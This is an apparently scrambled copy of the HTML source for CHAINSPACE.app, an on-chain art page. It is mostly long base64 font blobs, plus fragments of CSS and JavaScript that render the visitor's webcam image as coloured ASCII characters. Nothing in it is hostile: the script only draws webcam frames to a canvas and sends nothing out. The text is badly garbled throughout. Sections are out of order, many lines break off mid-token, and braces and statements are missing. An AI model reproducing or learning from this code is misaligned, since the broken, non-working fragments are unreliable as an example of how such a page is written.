p07mfLzJ63Xoyn2XW9aLKCnSlJKAl8yqqNjNTcuvyQ6f2uaTS4uIesDLtWFyDIpN7piHUoUR/Qu+sKLNKrG2Kn9r5kUytUzqfPJgj2A/wwOAyFFNUU6O8oB+e0NySYzv++7PIut/6h1ur1guAkAhS3p70J8ULsUS7NdO6insr82SqxenO8ayXmWW/kfYTrTxeuYKhNCeGTN4iWnlD8tUj2laN9nbl+SxeQsseedPF0UkhZXLSwaSFMqkQOsQZQkBsBfuCTGItAUfnASQbsieIAlx/ab2NbTzZaAbZUCbAJ0FPiuGuMHckFcRQq4o9zBRykPAlOJdS6NkSqEaDpSZbv2AqKQhHES4gcYCs2oHo/ykj192GQBAQRHDi+Od7f9IMID7/fiw66y6MGQ7BO4C5+kjQZLUnlgJJk4OdokWmTfvIArMxUVdKhMO1CviFuyAwGAyHIFQCBGn70caxgFXn7fXe6c9g0DIYFwyNdb8Bdv2A8lxzWeGvMAQGZOcXNE8ASzuRZJoM
vHAqGR2Uh5FAWGBxRTAJz4MngaVESHMYLeR9baA53y3NrDxRUxEAgYDgWRn0PAZVxtRB5iygWxnOHCCHc6J+6Lcs+pM0JDLacPx89IDzky31Js73NhK5WwNy0KFjACiLuQO28gpygkFs+Yfq4QXcUcnwadq3WzQqBoZx8MHC9Hg0ji+FOICocAt1S8jGx6zVT675iNxSwkgm+LeQ5Ohu1KgxD6BrO++XsLFTfEEmT3J4h6UZHR776mWROsNVfZGP0VX2PkcqE11OlUlk4V5qm2uusVTkbnO3n/hApjH5uA4MkdGJUvsNf/5gFCHQ9Ar8Xi92LR69Bk8r+UdK0Almc1LlTJqBpF253usI33G2CMjAvUfCgMxvYUN/e/dX2kmCJi9Hnkq/Rx0Wa72Q/MNyTCC3aXb6/Hke3ZaQXT5CuKGB8jX0QB434KWxqoqMuI6krVrTY9U6PCph/vvJmvr7IEIyc3monR53vpSAvIm137/j+E4EmP9hhvx9YDk5P6To5sdYp7NzM
BqmmPid+29PA068c3HQF+u/drpNIlXLVmntGDavJYMy9M5VI58ute2nfCe5qHO/rFC7S7B+094buMXoXPLDa4K6dhhLaBVsNwWuz0vqicrp82LP2wVBM6P9QAfwD3X8e+PetnlotDb4rF02Eima/51W02mTNuzzlsb3+YwxnzsfZx+Vwub4zm8Xk8YCFyG4gnZ3MVrgBxwhx+iu4gNeEz7aV0KtqHRJdxO1nxaJzlEnAZNysEZSYAFsAj5TKfI3P4GMAzznQ8cQkxRh5fyHyulIt4InsTFwCXIj4hxAOeIyBdlr8/rLs7bH9+vsMCL03l459qgYut2zHbX2I2YtxBk5rJG5+NN2XB0XBj9kbPohCH19sBwwucxvhPJs3I1dDS8wLzngc+Tw1MNVa66dGKU/GLRH0KO9iWOCyiyNEqt8hXmVMS/VNuFAVGVgiH0bRX7VM2SNAeVMe174JHm71Ok6VU7+uQd/VSj9plcz9qQyQX691dwOYwQx7QPmrw5ET46kimwGvM
w0/RNnrnAoRcplpRL9w1nrt+/ftnA9LmYktIiKc3QsbrzZ2BXTVfRg82Fas7MTEVR6JKzPtVEz6Zh1HWNd8VmUbSW6pggC+xzfD6sXandWKjVaGODY80aM2DTZUSmxbh1w6P1MLOk0qKf4x2ucamAhwWiO0pHU3HdOtaAfuDp8FTAFFr0LXDKQjqpO3k0knwzf6rf23epXVh5ucVeos0R1m7NTbLGp1UMRB08X+qRUeJ5UXpnhM7YbojbSKvdAaZ26+LUkf8d9ZzqmFrJ5TkWt8ZY1QExEVoNPdYHqJUGK0CKbHqsiyjPbK5OTWmuyqzQRTwC3lldUrzocqbERRMqqFvBSbRPr10fLJZp0l0W/VVaclX/VV+13tpoBcIzWbGYHFIONYFyf8WbCv29sZqkZZZ+hSlljaoxNOr3EFexsoy+MWJDjG0OI9cmDqd3/LbAwXHBN0cHtXiBYgvoP3GnHkYrY8xjRdh+7j6aE1DpFoQWSoxSZ8eg69SvDkESZ4cgqBm/SFcM
S1vA4jFRIK7UBvrwPl2PJPigkadgNUk1V+hDwU2RCOwGvF0WgwGfa6YQIImkIJ9i2CXIbNUDG/Y/qZ/QfKXBCi+bejznq7QNIEBKY46tT6e6sYOk40ezYiRHsx/WbpjYsN6LgKQJVBtZ28F8usf+/VVFKO641r+VlEsqxvJxioWeK0pQBrjHRkQnq0OcQlxLWXFy8HXPFrefLm/ZuIuG1yJ5RuzQSHr7C5g+o8sFDMobk1QiRg3j7FZBapNLw4NoKkP3Qw48hESDI2KqSXSy70SRVYzdX7TsbtZU4DLN5hF2PuDBKqaQI9XYaoU0KVEvnImHacBEEClYneBwOqdtFWVxJuVO0GOT8iTiN6rPSNEBCAwPM9la7yhgmdpTc6sXYiYrwsLgGsWkO0a7cp1rJhVN1fG0Zdz4okRmArN+ozoEg2uTIvmvBtNjNTUdgyDuWpsyihCyojQirACGfpT2AUxbDDdM8tR00tnHXdvgPjxsIEql4hNmjRuFIB1mEsFDb6emAyrSM
ptBz700/jG7OpEARYsVkJRcMUxAJObjzYK1CtXmm/w3WLRutrJCdwCkjzlffWUJi4GLsC6YKHz9WhkfGRkS72KYp0URiN0rbahyFhIsSX7Ki8jvb/zqnpNRk4VJN72QPbN7b3XUEwOOWOcwh6HQjbN8GOs49mBa54wXH8QM3JEShsTyC7p7RqKd9KA6ejk+Dr0bBcKKINCidO7Akh+GAJqG0w1HM4FsLt9s3Ai1SbFETUVyT+B2QRNWeEG4GDViAF6eseZJx7jsFi6hj4kE+f/mSWbf+TQJTW21EWrvy8LtJiwrCzSfSH+wt71/9A6lev9pvYmrQVAocxVcACW0mWbGzMhuLJnYw9suVcB5atFmqEaQ72/uFBLvYmP++I6W/BKHHpDzjyRx9V7K3z1is4Ue9FrldaJGQ8D8t0D/QIcnNjV7pvKNro8WBBMvpWMTNRtU1OjlYVZ+xN9Lobwe7cbmvrnoHCZbw7l1AvMiMXYMkTE3EWk23BSbEdK/Di7SyGzLg2zt1M
Xczav9qrE0cBnZtWhndMc4778h0C3Hjb5mKgYT8b7YgV3pZY8cFmsF5ie3PatVt+3t18fM16Y++uRWeztPu7u3MAvz7zj4fE5eA8llpJJjqVcpMSRMimxlKsUahFVtIBSRBECZW7oanBtEhBGKadcdGWZ5HEKOX+6iFrkXZTbPV6B7s0yeTi46gB8j0nZElhXF7jFY4eBl4ni32zA/wW7QaEWKOp1zH0cMgoDP6nTLWmAN3qVOPjtxIMgch3Yy2QNguNhQih8x/2Y1QGlC7S94CgM3aus1ItG/vpbhlaFgUMzoPB1vPbob2hMLQRP6VgX9yhRtAOGxkID//l4hAKtIOKm7CorQ9H4+WiU0ODFNnlnx+95z+bYCjbX26AFaPJMuHrzATbGinGcW7MDjfCHu12cWuf9dKi9pwWN6Yj5i4CnJxIwrcs/NJFRb1BIIQqsR4H5UPgBJKoGA4vQqhdiUQjYIAT0BI2G2yZjCKzKaCEKXQQQEQ1osBJcjCQxwGIItAZOITvM
Jl0PAxC2h3sm782I1A6WlA5oLvXAk9gEMmg6Vpyl4C2EIOCIaiakqpcEL4IgqpcoOBSO7g9G7HJ8iUxHIWBgYydWiERY1huwAREn88pzCTdJ0T39WmnuyYV7MclmmLDNmuTVUyXfD3zNphJmyH97wWWtD9syw7xIW0d1iZFaOgUm4CfT8KMiq9pdIGjiM70tNPgpqfJ/SNShcqBAHsxznRPp/bFHLREEiPjMmwwe4IX2DIpSP7UEeDi3455sJ8RaJe5U/xoi/U2+CFi9+gLJqC82eh3E0WtT4jQuwR09U40lbyQ71gm06g8xAj/HzkudGBYd9+UR0SeCEpHuj8cxn4adibFRk43x9QLlZ7d+q010si20KqfdaiJgA2JFw3TAe10ZCgOFExWrBnAOlrelItPNwTivHdObOFwbBD40i1mzfa8sZPCBL9oioCSYQFhSSh5yjVLle81RZBl8wFLZ+a5UgSL38R7kSCdMOtTBpGzcbkBDFBBGMNV8KFggvNkAjdW5wKO8M
0gfSHAoKI7lyE58FU9zaTT/v6bMBgjkHhVRAQFEsyJfV44AiUmkIwkfoNj3w3ZqcR+8BxKWh8YnsHE4tXD05OfBMT225NZMLgN4jE3WAsEoLPsQeCRpDYta7qLT9zdJXAXawkDpJoo6Guh4iU0RDXURppkJhLKsbjidhqLBGP50ks0VKCjlgstyiIOoI09LjUbBESA5OlhECi0AK+Q+pZ17hjb/WOdT0kIAIvi+Df40fIZI7da7NlqCOlPOdu58wTzXOa7bNczVKp2dWVsG/sOv9pGCD5EX9OfKrgk6psMDLv7ZODFwvWYSEIMAeBoKFyWua2sXBM1mLjkW1xa37a05vo/CxgCEXEh+NhSKonGnya8ZX3usBHF5Cl+K7zwUBhKIoHBp+K46eJerk2iVSszrfbZmzAo1amIDFSKrLLURQ26y8ahp43HrfGxMHQy2k+3seG/ibhLHiYE8QBDcMkRbkteQsiT3I5gzrQxSmedlkEDOoApTBgeEvhKqohg0DtYFIWjhAM
5BLgjgUMcmUdl9FFxzaayufiBATzyOwq9KoYrQ8O/vjuHQD2nzseoMWDHB02b8kVZm0oeOG607YQ2khojmmCbz7ITemBNmkYQcOghGXkISeSo0ICBBYaAdsD870xFf8AoOcTUTCG/X3kbOY7YjhxD3kYcRm5HTJ4TA2k3K/clsIDUUx2n2OxE9mSnJbLkQZdfp6mZ+uU7JvBq7LmNHEdu00P8tCY34Og/2FCv1whhoHCUDxilVlR4svisBSw3VpFdkygSVR2j022kcSwfrAh9HR5wK8BMpzt0irvoXQHx9Df0126MrYwhBf02feBByEQIsKeOi9MS2N7JlAtUCLwoZOokBdIBarI3G6/FcY99GSNEE2KJUQSfrCfGEgIz/wshGPaj4Ic6wsF/JrmTKbdsbJFHUKiLSPQFTbGSzHouGafDwDaHaKRtaFKjmEBA30S5DN9DEy+jsb4n8EyuluH0lUZ94LcchcOCQCDhPttRRAfiELzrPBSLW9qmIxIRXQgdfACB6EeM
GZRCIJEKGwiYHkMc4SkuhgWi27gHC+YP2juZ/hUjAYefeXkWisN329EZe6yYJWAp/HBF3zxPPx9vi3LjdKGbJmatdcxEYW0TQ9/EIPGDZsHiJXtJ3cP3o2gSGtoX77UfFtNwidEN4FhdPIQ4jkZOIK6hxJIV6uRAxGaDDArnmgJGXC+oCwUYWEo0DzvXpGb1R3mAc09MZPY7Gv6HGkM3ppg2IMXjLNm2Itq2XVVNbgRhHFQO8FEL5RukiOjyR+tkCVEWblYFSgUmK5tCRKEcUki4Zy3WhKH7uUIkuCJrawBDmEE46BUqVSr0z3yRtl47481Jw0wnX8Omh2UoIRJkdSuevEWIlOvmyCUjBz9oXW9XsFVfNcdWo6n2z0I3CLYeqNnbs1374qA3WW5eDNx/Ibaref+/TxoeWtFx0e5KRQLQHVB1gMLy/4+3EKX719nE8oUtUqe9FYfehEbg8go2YxCLd2zMIhoCYfL4dM8uOGWSHkK84OECyo68lk+fi0YkY/FiXLhdM
LGt27qn3tIqPf47nhRinQRrNGWIdWgc/ucYOa0lLNYFz8sxgv2IsBbA3Ex+3ps7kvz4zgMK3tG7FUhT6QjMiIq7h1O6/1FMbCrKpiWmy4W47/+j91zxGf9//BEc44lbEY7z8IY9wpb+ybqCuLe8ujU/ljuT+e9ID53A54/ekpJ+lewEDPAd8xZFE7YKTMKUli/i56LrVDBL4A3NVEO87PgPzka8hSgtz0D8/q3Mf9eDAA/vBh5PbQHICiYMJ9BEk0mN6Hnns4D73g10XkwY+b0j2sMHWyv7mwWau4NI9mwKikKuKYiw+pYBAVkPMfhlB+OxcmjQGBp8EmP5u5jSCkSBSX94CHRG5SDOm+AUX3eH7CKnpdTM7vkI5bcSsgzJ29dnH94kITq5VVMqabUdt04OMvPkQFILzzJPIUoKQcqcLHrnONOTNS3mqw6Ndr8LDBpRHk0F47RKGpV5+OM7Aew76vwycoGGjYcEsNJ/RBIUK2IDGmyM27+Fmq8Flo4yrMruNRkQhM
yl/31HCeRhl7YUav0JIC0m9WH9EhNTOVlIJG3wIzzALsOAXa8A4kwbkwlqAYkRTpX19m3RMWGAovLBDQUWRE7NHqXYIlTSwDOzdVeIhA3eQ7ChQnp4dIXDr8P/TjzExAE8/A5Ru1Uoruy3jL/o1M9LFxtAwJ23lLldvlSvYYS3Dnu/EWiMRcfkngKVNp6lwIvFm0r6DhLYMuJAlYfJKFdDwKTnyZOctKO4tDoXZwlTh0GGMQ6lvVLJCHW4TmEJubyElITfQ5op3QvD6XQiHmw+xAX0z8B0I/puohSmvkJeFLtrpoQFUI3oxzWTR0sLWJEKoh1Uzfl0ji+neQC4A4pD4y3WkJDjIZAnZ/PHbc1tza2q1ubvFk1OReJAJVP3/I5TKrxwDA79hcVa/Q2MDAeCI7eGQUoB3LVjPBXRtZKupLZKf2qYjyQw4Ce64MMABHgB5vhE8yBgaH4OagABX3AEWUpJIKs+ChfjTnK1MkS/4ZaMiDTpNicAj2iynqwSNwWNtBzbCpM
CMREUPHbimpcHVlE9J5OyGczDlUKOwU1b2w6oA6n+KqjCn0et2Ep0THa0YnXFLyiGfFi4WLF/iRp9UMydH1rgDBTxYcBr9EzRfvRLse7Sw+ym9EChWjXMqwiFlXmCCcgEx3G7az5crZ9eAjy9e/sZXMOLHAai1xWI7NY1+IU+yDoa9giAd3EZvP7hPu4LVK2oEOlrFEXwCL8Tenfa+s2lnb0hNoycgsF9dHr8RICv3p1G4gCdS+Pv4E6R+ZvOUuLmhDGUUxK/MzZKdvNr6S+BRieITNIMiRl6Wma0URWMsigl0227iqlOUDPF52nkYDvbt2VC/g2Bzl6cKyAgLCKH0vID4ykfOZtkk8AE+SWyTh0ldvnFMgv0hYJ5JlGy45DxKrbYFTWbXKbRbyHre8uq/K/JyNOMI0eRthLIrWs3Hjg7Wc5Qp5YCnI1XzrsEszsLpj0BxYjcb3HOjsmqHgD9cyBI0Gm7XWs08pd0a4f4JM4tukcBmpa4LaQJz3mL8jAGzA8MbIWM
UQ2Fzic44NPjlbhFwKfNQpbA9S2n5HubAL2VwHCBpkWRMlxWPKC91hbzemWbAZQMuzJvX+GKIJOStroEa4OD+gZMc3V5eo1dk8xjZGA/zzc3FAGL53g/ceQUYKQB7pJqYSpRBQuxdewQE4sHeD9ePNlwfXiw9e6H/YiEVuheXYiYVj4yhkM6LyQN/9qHsy8Sp6DG8nAV8yYOp8E7uxROtAFTsoKkcGV5VZWdJpWqJo19Q+zUXaaIGU54K+LkaUWEV4o2zH+nGQfAJC0WdZk7QLPwY9sSF8TuEOEIyV7JuEtuLfggdaOgwSxaXcBlGvWW8unq1958uyTSLgdHl0BXJxLth6nkMuWbjEol7yet8fyV5chXpRF+pfhS6f1k9To+SYifXJcXj0Hb///5VAOOnwOAiDbP1TWh/Ghj3nQw8aciIPSmZWmPmcHaKC+aqhlfbpseR0scNYTu/8kqwG/TfDjllDFGm40ykc3Ktp054uJWR1SdWwQyUwyjZOcfz0YGKtiEj3MrM
q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #1c1e2b;
    font-size: 17px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#00684e", "#efd4fd", "#2b358e", "#ffdae4", "#2a358f", "#383e9c", "#9c58af", "#036242", "#fedff1", "#1c1e2b", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450)M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
         video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
 = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
   gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
      running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
